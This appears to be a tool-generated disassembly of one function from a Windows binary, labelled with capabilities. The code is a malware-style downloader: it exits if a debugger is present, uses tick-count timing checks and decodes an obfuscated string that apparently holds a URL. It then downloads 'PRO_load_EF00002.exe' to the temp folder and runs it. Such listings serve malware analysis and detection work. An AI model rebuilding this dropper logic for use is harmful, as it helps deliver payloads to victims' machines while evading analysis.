Function at 0x476950
Capabilities:
Check for time delay via gettickcount
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x358
call fcn.0040ea50
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rsi
mov dword [rsp + 0x7c], eax
call rsi
mov dword [rsp + 0x78], eax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
mov r14d, eax
je 0x476992
mov ecx, 1
call sub.msvcrt.dll_exit
lea rdi, [rsp + 0x148]
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x476c3c
lea r12, [rsp + 0x24c]
lea rbx, [rsp + 0x88]
lea rbp, [rsp + 0xe0]
mov r8d, 0x104
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8, rbp
mov rdx, r12
mov rcx, rbx
call fcn.0044fb20
lea rdx, [0x0048d005]
or r8, 0xffffffffffffffff
mov rcx, rbx
call fcn.004259c0
lea rdx, [0x0048d007]
or r8, 0xffffffffffffffff
mov rcx, rbx
mov r12, rax
call fcn.004259c0
lea rdx, [rsp + 0x90]
lea r8, [r12 + 1]
mov qword [rsp + 0x58], rdx
mov rdx, r12
mov rcx, qword [rsp + 0x58]
not rdx
lea r9, [rdx + rax]
mov rdx, rbx
call fcn.00426240
lea r12, [rsp + 0x98]
mov r8, rbp
mov rdx, rdi
mov rcx, r12
call fcn.0044fb20
lea rdx, str.PRO_load_EF00002.exe
mov rcx, r12
call fcn.004501d0
lea rax, [rsp + 0xc8]
lea rdi, [rsp + 0xa8]
lea rdx, str.A2FA33637B7B9343A3A38399D1797B6BCB637B0B21739B4BA3297A2A317A6A2A31818181818173A3C3A2
mov r8, rax
mov rcx, rdi
mov qword [rsp + 0x60], rax
call fcn.0044fb20
lea r13, [rsp + 0xb0]
mov rdx, rdi
mov rcx, r13
call fcn.00401553
lea r15, [rsp + 0xb8]
mov rdx, r13
mov rcx, r15
call fcn.004017f7
lea rax, [rsp + 0xc0]
mov rdx, r15
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.00401620
mov rcx, qword [rsp + 0xc0]
call fcn.00401748
lea rdx, [rsp + 0xa0]
mov r8, rbp
mov qword [rsp + 0x70], rdx
mov rcx, qword [rsp + 0x70]
mov rdx, rax
call fcn.0044fb20
lea rcx, [rsp + 0xc0]
call fcn.00450090
mov rcx, r15
call fcn.00450090
mov rcx, r13
call fcn.00450090
mov rcx, rdi
call fcn.00450090
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x20], 0
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
js 0x476c15
xor eax, eax
mov ecx, 0x1a
mov rdi, rbp
rep stosd dword [rdi], eax
mov rdi, qword [rsp + 0x60]
mov dword [rsp + 0xe0], 0x68
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov cl, 6
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x476c15
or edx, 0xffffffff
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xc8]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, qword [rsp + 0xd0]
call rdi
mov rcx, qword [rsp + 0x70]
call fcn.00450090
mov rcx, r12
call fcn.00450090
mov rcx, qword [rsp + 0x58]
call fcn.00450090
mov rcx, rbx
call fcn.00450090
call rsi
mov ebx, eax
call rsi
mov edx, dword [rsp + 0x78]
sub edx, dword [rsp + 0x7c]
sub eax, ebx
add edx, edx
cmp eax, edx
jbe 0x476cb6
jmp 0x476988
lea rcx, [rsp + 0xa0]
call fcn.00450090
mov rcx, r12
call fcn.00450090
mov rcx, qword [rsp + 0x58]
call fcn.00450090
mov rcx, rbx
call fcn.00450090
mov r14d, 1
jmp 0x476cb6
mov eax, r14d
add rsp, 0x358
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret